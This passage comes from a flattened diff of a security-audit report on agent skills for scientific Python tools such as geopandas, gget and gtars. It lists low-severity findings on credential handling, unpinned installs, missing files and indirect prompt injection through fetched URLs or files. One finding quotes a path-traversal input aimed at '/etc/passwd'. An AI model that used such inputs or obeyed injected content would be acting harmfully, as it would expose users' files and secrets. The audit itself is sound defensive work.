tokens and to use environment variables. No exfiltration to attacker-controlled endpoints is present. The static analyzer finding is a false positive in this context, but is noted for completeness.> File: `references/forge-api.md`- > **Remediation:** The current pattern is acceptable. Ensure the API endpoint URLs (forge.evolutionaryscale.ai, biohub.ai) are validated and not configurable via user input. Consider adding explicit documentation that users should verify the endpoint URLs have not been tampered with before running the skill.+ > **Remediation:** No remediation needed. The pattern is correct and follows security best practices. Ensure API endpoints remain fixed to trusted hosts (forge.evolutionaryscale.ai, biohub.ai) and are never sourced from user input, which the skill already documents.-### exploratory-data-analysis — 🔵 LOW+### etetoolkit — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in the YAML manifest. The skill executes Python scripts that read files, access the filesystem, and potentially make library calls. Without an explicit allowed-tools declaration, there is no manifest-level constraint on what tools the agent can use when executing this skill.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — NCBI Taxonomy Database Stored in Home Directory+ > The skill automatically downloads and stores a ~300MB NCBI taxonomy database to ~/.etetoolkit/taxa.sqlite on first use. While this is standard behavior for the ete3 library, it writes a significant amount of data to the user's home directory without explicit user confirmation. The database is also updated via ncbi.update_taxonomy_database() which makes outbound network calls to NCBI servers.> File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools field to the YAML manifest listing only the tools required: e.g., allowed-tools: [Python, Read, Glob]. This provides a clear security boundary.+ > **Remediation:** Document clearly to users that first use will download ~300MB to ~/.etetoolkit/. Consider prompting the user for confirmation before initiating the download. Ensure network calls are only made to legitimate NCBI endpoints.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Skill Description- > The skill description claims support for '200+ file formats' across six major scientific domains. While the reference files do cover many formats, the breadth of the claim ('This skill should be used when analyzing any scientific data file') could lead to over-activation of the skill for files it cannot actually handle, potentially causing unexpected behavior or errors. The description uses activation-maximizing language ('should be used when analyzing any scientific data file') that could cause the agent to invoke this skill unnecessarily broadly.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation+ > The SKILL.md instructions recommend installing ete3 using 'uv pip install ete3' without pinning a specific version. This allows any future version of the ete3 package to be installed, including potentially compromised versions. The ete3 package is a third-party library and unpinned installations are vulnerable to supply chain attacks if the package is compromised or typosquatted.> File: `SKILL.md`- > **Remediation:** Narrow the description to accurately reflect actual capabilities. Avoid absolute language like 'any scientific data file'. Specify limitations and unsupported formats clearly.+ > **Remediation:** Pin the ete3 dependency to a specific known-good version, e.g., 'uv pip install ete3==3.1.3'. Consider also verifying package integrity via hash checking.-### generate-image — 🔵 LOW+### geniml — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Read from Environment/.env File and Transmitted to External API- > The script reads the OPENROUTER_API_KEY from .env files (traversing up the directory tree) or environment variables and transmits it as a Bearer token in HTTP requests to https://openrouter.ai. While this is the intended and documented behavior for authenticating with the OpenRouter API, the .env traversal walks all parent directories which could inadvertently pick up API keys from unrelated projects. The static analyzer flagged cross-file env var exfiltration chains, likely due to the combination of env var reading and network calls.- > File: `scripts/generate_image.py`- > **Remediation:** Limit .env file search to the current directory and at most one parent directory rather than traversing all the way to the filesystem root. This prevents accidentally picking up API keys from unrelated projects higher in the directory tree.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Script Files May Conceal Behavior+ > Several files referenced in the SKILL.md instructions were not found in the package: geniml.py, scanpy.py, and multiple assets/templates directories. The static pre-scan flagged environment variable exfiltration and cross-file exfiltration chains across 2 files. While the provided reference files appear benign, the missing scripts (geniml.py, scanpy.py) cannot be audited and may contain the flagged behaviors. The absence of these files prevents full security verification.+ > File: `SKILL.md`+ > **Remediation:** Ensure all referenced script files are included in the skill package for auditing. Review geniml.py and scanpy.py for environment variable access combined with network calls. If these scripts access environment variables (e.g., API keys, credentials) and make network requests, this constitutes a data exfiltration risk.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Input Image File Read and Transmitted to External API- > When an input image is provided via --input, the script reads the file from disk, base64-encodes it, and sends it to the OpenRouter API. There is no validation of the file path to prevent path traversal (e.g., --input ../../../../etc/passwd or sensitive files). A user or automated workflow could inadvertently pass sensitive files as input images. The content would be sent to the external OpenRouter API.- > File: `scripts/generate_image.py`- > **Remediation:** Validate that the input image path resolves to an expected directory (e.g., within the current working directory). Check that the file extension matches an expected image type before reading. Reject paths containing '..' or absolute paths outside the working directory.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is an optional field per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill executes bash commands and Python code, declaring allowed tools would improve transparency and security posture.+ > File: `SKILL.md`+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing the tools actually required, e.g., 'allowed-tools: [Bash, Python, Read, Write]'. This improves auditability and limits unintended tool use.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned 'requests' Dependency- > The script imports the 'requests' library without any version pinning or requirements file specifying an exact version. If a requirements.txt or similar dependency manifest is used, an unpinned 'requests' package could be substituted with a malicious version via supply chain compromise or dependency confusion attacks.- > File: `scripts/generate_image.py:108`- > **Remediation:** Include a requirements.txt with a pinned version (e.g., requests==2.32.3) and verify package integrity using hashes (pip install --require-hashes).+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation from GitHub+ > The SKILL.md instructions recommend installing the development version of geniml directly from GitHub without a pinned commit hash or version tag. This creates a supply chain risk where a compromised or updated repository could introduce malicious code into the user's environment without notice.+ > File: `SKILL.md:35`+ > **Remediation:** Pin the GitHub installation to a specific commit hash or release tag, e.g., 'uv pip install git+https://github.com/databio/[email protected]' or 'git+https://github.com/databio/geniml.git@<commit-sha>'. Prefer installing from PyPI with a pinned version for production use.### geopandas — 🔵 LOW- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration- > The SKILL.md manifest does not declare an allowed-tools field. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on which agent tools this skill may use. Given that the skill's instructions include patterns for file I/O, network access (PostGIS, remote URLs, cloud storage), and code execution, declaring allowed-tools would improve transparency and reduce the risk of unintended capability use.+ > The skill manifest does not declare an allowed-tools field. While this is optional per the agent skills specification, the skill instructs the agent to install packages (uv pip install), read/write files, make network connections, and interact with databases. Declaring allowed-tools would improve transparency about the skill's intended capabilities and help prevent unintended tool usage.> File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter listing the tools actually needed (e.g., Python, Bash for executing geospatial code). This improves auditability and limits unintended tool use.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter listing the tools this skill requires, such as: allowed-tools: [Python, Bash, Read, Write]-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Hardcoded Database Credentials in Documentation Examples- > The data-io.md reference file contains example code showing database connection strings with placeholder credentials (user:password@host:port/database). While these are documentation examples and not real credentials, agents following these instructions might be prompted to fill in real credentials, and the pattern normalizes embedding credentials directly in connection strings rather than using environment variables or secrets managers.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — PostGIS Connection String with Credentials in Documentation Examples+ > The data-io.md reference file includes example code showing database connection strings with plaintext credentials (user:password@host:port/database). While this is documentation/example code rather than hardcoded credentials in executable scripts, users following these examples may inadvertently hardcode credentials in their own scripts.> File: `references/data-io.md`- > **Remediation:** Update documentation examples to demonstrate credential best practices, such as using environment variables: create_engine(f'postgresql://{os.environ["DB_USER"]}:{os.environ["DB_PASSWORD"]}@{host}/{db}') or using a secrets manager.+ > **Remediation:** Update documentation examples to use environment variables or configuration files for credentials, e.g., create_engine(f'postgresql://{os.environ["DB_USER"]}:{os.environ["DB_PASS"]}@host:port/database'). Add a security note advising against hardcoding credentials.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Skill Instructs Reading Data from External URLs Without Validation- > The data-io.md reference file documents reading spatial data directly from URLs (HTTP/HTTPS, S3, Azure Blob Storage) without any guidance on validating the source or content. An agent following these instructions could be directed by a user to load data from a malicious URL containing crafted geospatial data or embedded instructions. The risk is moderate in that malformed or malicious geospatial files could exploit parsing vulnerabilities in underlying libraries (GDAL/Fiona/Pyogrio).+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Skill Instructs Reading Data from Arbitrary URLs+ > The data-io.md reference file documents and encourages reading spatial data directly from arbitrary URLs and cloud storage paths (S3, Azure, HTTP/HTTPS). If a user provides a malicious URL as input, the agent following these instructions would fetch and process content from that external source without validation, potentially exposing the agent to indirect prompt injection via crafted geospatial files or unexpected data.> File: `references/data-io.md`- > **Remediation:** Add guidance to validate URLs against an allowlist before reading, warn users about risks of loading data from untrusted external sources, and recommend scanning or sandboxing external geospatial files before processing.+ > **Remediation:** Add guidance in the skill instructions to validate and sanitize user-provided URLs before passing them to read_file(). Consider restricting URL schemes or requiring explicit user confirmation before fetching from external sources.- **🔵 LOW** `LLM_COMMAND_INJECTION` — Use of eval/exec in Python Code Blocks- > Static analysis flagged two instances of eval/exec usage in Python code blocks within the markdown documentation files. Upon review, these appear to be within legitimate GeoPandas/Shapely usage examples (e.g., affine_transform calls and similar operations) rather than direct injection vectors. However, if an agent were to execute these code blocks verbatim with user-supplied input substituted into the parameters, it could lead to code injection. The risk is low given the educational/reference context, but worth noting.+ > Static analysis flagged the presence of eval/exec usage in Python code blocks within the markdown documentation files. Upon review, the flagged instances appear to be within the affine_transform example in references/geometric-operations.md which uses shapely's affinity module, not Python's built-in eval/exec. The code blocks are documentation examples and do not represent executable injection vectors within the skill itself. However, the static scanner detected patterns that warrant noting.> File: `references/geometric-operations.md`- > **Remediation:** Ensure that any user-supplied values passed to geometric transformation functions are validated and sanitized before use. Avoid directly substituting untrusted user input into affine_transform or similar function calls without type checking and bounds validation.+ > **Remediation:** No immediate action required as these are documentation examples. If the skill is extended with executable scripts, ensure that no user-controlled input is passed to eval/exec or similar dynamic execution functions.### get-available-resources — 🔵 LOW-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Static Analyzer Flagged eval/exec Usage in Markdown Code Blocks- > The pre-scan static analyzer flagged two instances of Python eval/exec usage in markdown code blocks within SKILL.md. Review of the instruction body shows these are example code snippets for user guidance (e.g., reading JSON, using joblib/torch), not executable code run by the skill itself. No actual eval/exec calls were found in the detect_resources.py script. This is a low-severity informational finding based on the static analyzer alert.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Referenced Files (dask.py, torch.py, joblib.py) Not Found in Skill Package+ > The SKILL.md instructions reference files named dask.py, torch.py, and joblib.py, but these files are not present in the skill package. These appear to be code examples in the markdown body rather than actual bundled files, but their absence could cause confusion. If an agent attempts to load these as modules from the skill directory, it could inadvertently import system-installed packages with the same names, potentially leading to unexpected behavior.> File: `SKILL.md`- > **Remediation:** Review the markdown code blocks to confirm no eval/exec patterns are present in executable context. If the static analyzer is triggering on benign patterns (e.g., string literals containing 'exec'), this can be documented as a false positive.+ > **Remediation:** Clarify in the SKILL.md that these are example code snippets, not bundled files. Rename any actual helper files to avoid shadowing well-known package names (dask, torch, joblib).- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Declaration- > The SKILL.md YAML frontmatter does not declare an `allowed-tools` field. The skill executes Python scripts and runs subprocess commands (nvidia-smi, rocm-smi, sysctl, system_profiler), writes files to disk, and reads system information. Declaring allowed tools improves transparency and enables enforcement of capability boundaries.+ > The SKILL.md manifest does not declare an `allowed-tools` field. The skill executes Python scripts and runs subprocess commands (nvidia-smi, rocm-smi, sysctl, system_profiler), which require Bash and Python tool permissions. While omission of `allowed-tools` is informational per the spec, explicitly declaring required tools would improve transparency and allow agents to enforce capability boundaries.> File: `SKILL.md`- > **Remediation:** Add `allowed-tools: [Python, Bash]` to the YAML frontmatter to explicitly declare the tools this skill requires, improving transparency and enabling tool restriction enforcement.+ > **Remediation:** Add `allowed-tools: [Python, Bash]` to the YAML frontmatter to explicitly declare the tools this skill requires, improving transparency and enabling agent-level enforcement of capability restrictions.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Subprocess Calls to External System Utilities- > The script invokes external system utilities (nvidia-smi, rocm-smi, sysctl, system_profiler) via subprocess.run(). While these are standard system tools and the calls use fixed argument lists (no user-controlled input), the use of subprocess with external binaries carries inherent risk if the PATH is manipulated or if a malicious binary shadows these tool names. All calls use timeout and capture_output, which is good practice.- > File: `scripts/detect_resources.py:90`- > **Remediation:** Use absolute paths for system utilities where possible (e.g., /usr/bin/nvidia-smi) or validate the resolved path before execution. This reduces risk from PATH manipulation attacks.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Subprocess Calls to External System Utilities Without Input Validation+ > The script invokes external system utilities (nvidia-smi, rocm-smi, sysctl, system_profiler) via subprocess. While the commands themselves are hardcoded and not user-controlled, the output is parsed and incorporated into the JSON output. If any of these utilities were replaced or tampered with (e.g., via PATH manipulation), malicious output could be injected into the resource JSON file that downstream agent instructions then consume. The parsing of rocm-smi output in particular is noted as potentially needing refinement.+ > File: `scripts/detect_resources.py:96`+ > **Remediation:** Use absolute paths for system utilities where possible (e.g., /usr/bin/nvidia-smi). Validate and sanitize parsed output before including it in the JSON file. Consider adding output length limits to prevent excessively large values from being stored.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — System Information Disclosure via JSON Output File- > The skill collects detailed system information including CPU architecture, processor model, memory details, disk usage, GPU information (including driver versions and compute capabilities), and OS version, then writes this to a `.claude_resources.json` file in the current working directory. While this is the stated purpose of the skill, the aggregated hardware fingerprint could be sensitive in certain environments. The file persists on disk and could be read by other processes or inadvertently committed to version control.- > File: `scripts/detect_resources.py:180`- > **Remediation:** Consider adding a note in the skill documentation recommending users add `.claude_resources.json` to `.gitignore` to prevent accidental exposure of system fingerprint data. Optionally, support an in-memory-only mode that does not persist the file.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — System Resource Information Written to Predictable File Path+ > The script writes detailed system resource information (CPU cores, memory, disk space, GPU details, OS version) to a predictable file path `.claude_resources.json` in the current working directory. While this is the stated purpose of the skill, the file contains potentially sensitive system fingerprinting data that could be read by other processes or scripts. The output path is also user-controllable via the `-o` argument without path sanitization.+ > File: `scripts/detect_resources.py:175`+ > **Remediation:** Consider restricting the output path to the current working directory only, validating the output path to prevent directory traversal, and documenting that the output file contains system fingerprinting information that should not be committed to version control.### gget — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — COSMIC Credentials Passed via Command-Line Arguments- > The SKILL.md instructions demonstrate passing COSMIC database credentials (email and password) directly as command-line arguments (--email [email protected] --password xxx). While this is the documented upstream gget API, the skill's instructions normalize this insecure pattern without warning users about credential exposure in shell history, process listings, or logs.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — COSMIC Credentials Exposure Risk via CLI Arguments+ > The SKILL.md instructions document the use of --email and --password flags for COSMIC database access as CLI arguments. While the skill does include a warning about this risk and recommends environment variables, the documentation still shows the parameter names in a way that could encourage insecure usage. The Python example correctly uses os.environ, but the CLI documentation mentions the flags exist, which may lead users to pass credentials directly on the command line where they can appear in shell history, process listings, and logs.> File: `SKILL.md`- > **Remediation:** Add a note in the instructions warning users that credentials passed via CLI arguments are visible in shell history and process listings. Recommend using environment variables or a credentials file instead.+ > **Remediation:** Remove or strongly de-emphasize the --email/--password CLI flag documentation. Only document the environment variable approach and interactive prompt. Add explicit warnings that CLI credential passing is insecure on shared systems.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — OpenAI API Key Passed as Plain-Text Argument- > The gget gpt module instructions show the OpenAI API key being passed directly as a command-line argument and inline in Python code. This exposes the key in shell history, process listings, and any logs that capture command output.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — OpenAI API Key Handling Documentation Risk+ > The gget gpt module documentation mentions that the api_key parameter is required and notes not to hard-code it, but the CLI usage section states 'gget gpt expects the API key as an argument' which inherently exposes the key in shell history and process listings. While the Python example correctly uses os.environ, the CLI usage pattern is documented as the expected interface.> File: `SKILL.md`- > **Remediation:** Recommend using environment variables (e.g., OPENAI_API_KEY) rather than passing API keys as inline arguments. Add a security note in the gget gpt section.+ > **Remediation:** Document only the environment variable approach for API key handling. If CLI usage must be documented, show only the OPENAI_API_KEY environment variable pattern rather than passing the key as an argument.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Referenced File gget.py Not Found in Package- > The SKILL.md references a file 'gget.py' in its instructions, but this file was not found in the skill package. This could indicate an incomplete package or a reference to an external/user-provided file. If the agent attempts to load or execute this missing file from an untrusted source, it could introduce indirect prompt injection or malicious code execution.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced File: gget.py+ > The SKILL.md references a file named gget.py in its referenced files section, but this file was not found in the skill package. This missing file could indicate incomplete packaging or a reference to an external/user-provided file that would be treated as untrusted input if it were present.> File: `SKILL.md`- > **Remediation:** Either include gget.py in the skill package or remove the reference. If the file is intended to be user-provided, add explicit validation and sandboxing instructions before any execution.+ > **Remediation:** Either include the gget.py file in the skill package if it is an internal resource, or remove the reference from SKILL.md. If this is intended to reference user-provided files, add explicit validation and sandboxing.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instructions- > The installation instructions use 'uv pip install --upgrade gget' without pinning to a specific version. This means the skill will always install the latest version of gget, which could introduce breaking changes or, in a supply chain compromise scenario, malicious code if the upstream package is compromised.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Viral Sequence Download Warning+ > The gget virus module documentation warns against using --download_all_accessions without restrictive filters, noting it can attempt to download the entire Viruses taxonomy and consume substantial time, bandwidth, and disk. While the warning is present, the skill does not enforce any guardrails programmatically to prevent this from being triggered accidentally or intentionally through agent-driven queries.> File: `SKILL.md`- > **Remediation:** Pin gget and openmm to specific known-good versions (e.g., 'gget==0.28.6') in installation instructions to ensure reproducibility and reduce supply chain risk.+ > **Remediation:** Add explicit confirmation requirements before executing any gget virus command with --download_all_accessions. Consider adding a script-level guard that validates filters are present before allowing this flag to be used.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration- > The skill manifest does not declare an 'allowed-tools' field. The scripts use file I/O, network calls (via gget API calls to external databases), and subprocess-level operations. While omission of allowed-tools is informational per spec, the absence means no tool restrictions are enforced for an agent executing these scripts.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — AlphaFold Setup Downloads ~4GB Without Size Warning to User+ > The gget setup alphafold command downloads approximately 4GB of model parameters. While this is documented in the skill, an agent executing this automatically without explicit user confirmation could consume significant disk space and bandwidth unexpectedly. The skill does not include a confirmation step before triggering this download.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' declaration to the YAML frontmatter listing the tools actually needed (e.g., Python, Bash, Read, Write) to enforce least-privilege access.+ > **Remediation:** Ensure the agent always confirms with the user before running gget setup alphafold, explicitly stating the ~4GB download size and asking for explicit approval before proceeding.-### gtars — 🔵 LOW+### ginkgo-cloud-lab — 🔵 LOW-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Without Version Constraints- > The skill instructs installation of 'gtars' via 'uv pip install gtars' and 'cargo install gtars-cli' without specifying pinned versions. This means the agent could install any version of the package, including a potentially compromised future release or a typosquatted package. No version pinning, hash verification, or integrity checks are specified.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata+ > The skill manifest does not specify a license or compatibility field. While these are optional fields, their absence reduces transparency about the skill's intended usage scope and legal terms.> File: `SKILL.md`- > **Remediation:** Pin package versions explicitly (e.g., 'uv pip install gtars==0.1.x') and verify package integrity via checksums or lockfiles. For Cargo, specify exact versions in Cargo.toml.+ > **Remediation:** Add a license field (e.g., 'license: MIT') and a compatibility field describing supported platforms to improve transparency and trust.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing License and Compatibility Metadata- > The skill manifest does not specify a license or compatibility field. The 'skill-author' is listed as 'K-Dense Inc.' but no version provenance or trust chain is established. Missing metadata reduces auditability and makes it harder to assess supply chain trustworthiness.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Asset and Template Files+ > Several files referenced in the skill instructions are not present in the package: templates/cell-free-protein-expression-optimization.md, templates/fluorescent-pixel-art-generation.md, templates/cell-free-protein-expression-validation.md, assets/cell-free-protein-expression-validation.md, assets/cell-free-protein-expression-optimization.md, and assets/fluorescent-pixel-art-generation.md. While this does not represent an active threat, missing files could cause the agent to behave unexpectedly or attempt to fetch content from external sources to fill the gap.> File: `SKILL.md`- > **Remediation:** Add explicit license (e.g., 'license: MIT'), compatibility, and version fields to the YAML manifest to improve auditability and trust assessment.--- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Parallel Processing and Memory Options Without Limits- > The Python API reference exposes options for parallel processing and memory usage without enforcing upper bounds. Instructions like 'gtars.set_option("parallel.threads", 4)' and 'gtars --memory-limit 4G' could be set to arbitrarily high values by a user or automated workflow, potentially exhausting system resources. The streaming and memory-mapped file support for 'large files' also lacks explicit safeguards.- > File: `references/python-api.md`- > **Remediation:** Document recommended safe limits for thread counts and memory usage. Consider adding validation in workflows to cap resource consumption to reasonable defaults appropriate for the execution environment.+ > **Remediation:** Ensure all referenced files are included in the skill package, or remove references to files that do not exist. Verify the agent does not attempt to fetch missing files from external sources.-### hypogenic — 🔵 LOW--- **🔵 LOW** `LLM_COMMAND_INJECTION` — Lambda-Based Dynamic Code Execution via extract_label Parameter- > The skill's Python API accepts a user-supplied lambda or function as the 'extract_label' parameter passed directly to BaseTask. While this is a legitimate API design pattern, it means arbitrary Python code can be passed as a callable and executed during inference. If the skill is used in an automated pipeline where the config or extract_label function originates from untrusted sources, this could be exploited for code injection. The static analyzer also flagged a Python code block using eval/exec patterns.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The skill manifest does not declare an allowed-tools field. While this field is optional, its absence means there are no declared restrictions on what agent tools this skill may invoke, reducing the ability to audit or constrain its behavior.> File: `SKILL.md`- > **Remediation:** Document clearly that the extract_label function should only accept trusted, user-authored code. If the skill is used in automated pipelines, validate that the callable source is trusted before execution. Avoid accepting extract_label definitions from external or user-provided configuration files.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter to document and constrain the tools this skill is permitted to use.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation via uv pip install- > The skill instructs users to install the 'hypogenic' package without pinning a specific version (e.g., 'uv pip install hypogenic'). This means any future malicious or compromised version published to PyPI could be installed automatically, creating a supply chain risk. Additionally, the skill clones external GitHub repositories (ChicagoHAI/HypoGeniC-datasets, ChicagoHAI/Hypothesis-agent-datasets) without specifying commit hashes or tags, meaning repository content could change unexpectedly.- > File: `SKILL.md`- > **Remediation:** Pin the package to a specific version (e.g., 'uv pip install hypogenic==1.0.0'). For git clones, use a specific commit hash or tag (e.g., 'git clone ... && git checkout <commit-hash>') to ensure reproducible and auditable installations.+### gtars — 🔵 LOW-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced Script Files- > The skill references several files in its instructions that do not exist in the package: examples.py, templates/config_template.yaml, assets/config_template.yaml, and hypogenic.py. While references/config_template.yaml was found, the missing files could indicate an incomplete package or that users will be directed to fetch these from external sources, creating a potential supply chain gap.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Multiple Referenced Files Not Found in Package+ > The skill references numerous files that are not present in the package (templates/cli.md, templates/refget.md, assets/cli.md, assets/refget.md, assets/overlap.md, assets/python-api.md, assets/tokenizers.md, templates/tokenizers.md, gtars.py, templates/coverage.md, assets/coverage.md, templates/python-api.md, templates/overlap.md). If these files are fetched from external sources at runtime, they could contain malicious instructions. The missing gtars.py is particularly notable as it could be a script file.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package. If files are intentionally omitted (e.g., generated at runtime), document this clearly. Avoid referencing files that users might attempt to source from untrusted external locations.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Stored in Environment Variable Referenced in Config Template- > The configuration template references an environment variable 'OPENAI_API_KEY' for API authentication. While using environment variables is better than hardcoding secrets, the config template also shows the variable name explicitly, and the skill instructs users to configure API keys this way. If config files are committed to version control or shared, the environment variable name and usage pattern is exposed. More importantly, the skill makes outbound API calls to OpenAI/Anthropic endpoints with user data, which constitutes data leaving the local environment.- > File: `references/config_template.yaml:14`- > **Remediation:** Ensure users are aware that dataset content (potentially sensitive research data) is transmitted to external LLM APIs (OpenAI, Anthropic). Document data privacy implications clearly. Advise against committing config files containing API key environment variable names to public repositories.+ > **Remediation:** Ensure all referenced files are bundled within the skill package. Do not fetch instructions or templates from external sources at runtime. Audit the missing gtars.py file especially, as it may contain executable code.-### lamindb — 🔵 LOW--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description with Excessive Trigger Keywords- > The skill description is unusually broad and contains an extensive list of trigger keywords covering many biological data management scenarios. While this appears to be a legitimate documentation skill, the description is designed to activate the skill across a very wide range of user queries related to LaminDB, potentially inflating its activation frequency beyond what is necessary for its stated purpose.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The skill manifest does not declare an 'allowed-tools' field, meaning there are no explicit restrictions on which agent tools can be used. While this is an optional field, its absence means the agent has no declared scope limitations, which could allow broader tool usage than necessary for genomic analysis tasks.> File: `SKILL.md`- > **Remediation:** Narrow the description to the core use case. Avoid listing every possible trigger scenario in the description field, as this can cause the skill to activate more broadly than intended.+ > **Remediation:** Add an explicit 'allowed-tools' declaration to restrict the skill to only the tools it requires, such as [Bash, Python, Read, Write] for genomic file processing workflows.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — External REST API and Database Integration Patterns May Process Untrusted Content- > The integrations reference file includes patterns for fetching data from external REST APIs and external databases, then saving that content as LaminDB artifacts. The skill instructs the agent to help users implement these patterns, which could result in untrusted external content being ingested and stored without validation. If the external API returns malicious content (e.g., crafted metadata fields), it could influence subsequent agent operations on those artifacts.- > File: `references/integrations.md`- > **Remediation:** Add guidance in the skill instructions to validate and sanitize data fetched from external sources before storing it as LaminDB artifacts. Warn users about the risks of storing unvalidated external content and recommend schema validation before artifact creation.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Credential Handling Guidance Exposes Sensitive Patterns- > The setup-deployment reference file includes explicit instructions for handling AWS and GCP credentials, including setting environment variables with access keys and secret keys. While this is documentation for legitimate use, the skill instructs the agent to work with and potentially echo credential-related environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS). If a user asks the agent to help debug credential issues, the agent may be guided to read and display these sensitive values.- > File: `references/setup-deployment.md`- > **Remediation:** Add explicit guidance in the instructions that the agent should never display, log, or transmit actual credential values. Instruct the agent to remind users to use IAM roles or secrets managers rather than environment variable credentials where possible.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Database Connection String Patterns Include Plaintext Passwords- > Multiple reference files contain database connection string patterns with plaintext passwords embedded directly in the URI format (e.g., postgresql://user:password@hostname:5432/dbname). The skill instructs the agent to help users configure these connection strings, which could lead the agent to handle or display plaintext database credentials during setup assistance.- > File: `references/setup-deployment.md`- > **Remediation:** Add explicit warnings in the skill instructions that actual passwords should never be placed in connection strings shown to the agent. Recommend using environment variables or secrets managers for database credentials, and instruct the agent to redact any passwords it encounters in connection strings.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instructions- > The setup and integration reference files recommend installing packages using pip without version pinning (e.g., 'pip install lamindb', 'pip install lamindb[gcp,zarr,fcs]'). Unpinned installations are vulnerable to supply chain attacks where a malicious package version could be installed. The skill may instruct the agent to run these unpinned install commands on behalf of users.- > File: `references/setup-deployment.md`- > **Remediation:** Update installation instructions to recommend pinned versions (e.g., 'pip install lamindb==0.x.y'). Encourage use of lock files (requirements.txt with pinned versions or pyproject.toml with exact versions) and recommend verifying package integrity via checksums.--### liteparse — 🔵 LOW--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Files May Conceal Behavior- > Several files referenced in SKILL.md instructions are not present in the skill package: liteparse.py, assets/choosing_a_parser.md, assets/cli_reference.md, assets/api_reference.md, assets/output_formats.md, assets/ocr_and_formats.md, templates/api_reference.md, templates/ocr_and_formats.md, templates/output_formats.md, templates/cli_reference.md, templates/choosing_a_parser.md. The absence of liteparse.py in particular is notable — if this is the core library module, its behavior cannot be audited. If these files are fetched at runtime from external sources, they could introduce indirect prompt injection or exfiltration logic.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Without Version Constraints+ > The skill instructs installation of 'gtars' via 'uv pip install gtars' and 'pip install gtars' without specifying a version pin. This means any future version of the package (including potentially compromised versions) could be installed. Similarly, the Cargo dependency uses a loose version constraint 'version = "0.1"' which allows minor version updates that could introduce breaking or malicious changes.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are bundled within the skill package. Audit liteparse.py if it exists at runtime. Do not fetch instruction or reference files from external URLs at runtime.+ > **Remediation:** Pin exact versions for all package installations: 'uv pip install gtars==X.Y.Z' and use exact Cargo versions like 'version = "=0.1.0"'. Verify package integrity via checksums or lockfiles.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Trigger in Skill Description- > The skill description explicitly instructs the agent to use liteparse 'even when the user does not name liteparse', which is a capability inflation / keyword baiting pattern designed to increase 